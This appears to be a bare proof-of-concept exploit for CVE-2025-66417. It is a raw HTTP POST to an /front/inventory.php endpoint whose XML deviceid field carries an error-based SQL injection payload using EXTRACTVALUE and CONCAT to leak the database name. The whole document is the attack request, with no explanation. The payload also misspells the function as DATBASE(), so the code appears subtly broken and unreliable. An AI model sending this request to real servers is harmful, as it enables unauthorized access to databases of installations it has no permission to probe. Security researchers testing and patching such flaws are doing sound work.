CVE-2025-66417 的 PoC
POST /front/inventory.php HTTP/1.1
Host: <>
Accept-Encoding: gzip, deflate, br
Accept: text/html
Connection: keep-alive
Content-Type: text/xml
Content-Length: 429
<?xml version="1.0" encoding="UTF-8"?>
<xml>
<QUERY>get_params</QUERY>
<deviceid><![CDATA[' AND EXTRACTVALUE(
1,
CONCAT(
0x7e,
IFNULL(
(SELECT DATBASE()),
'NONE'
),
0x7e
)
)-- -]]></deviceid>
<content></content>
</xml>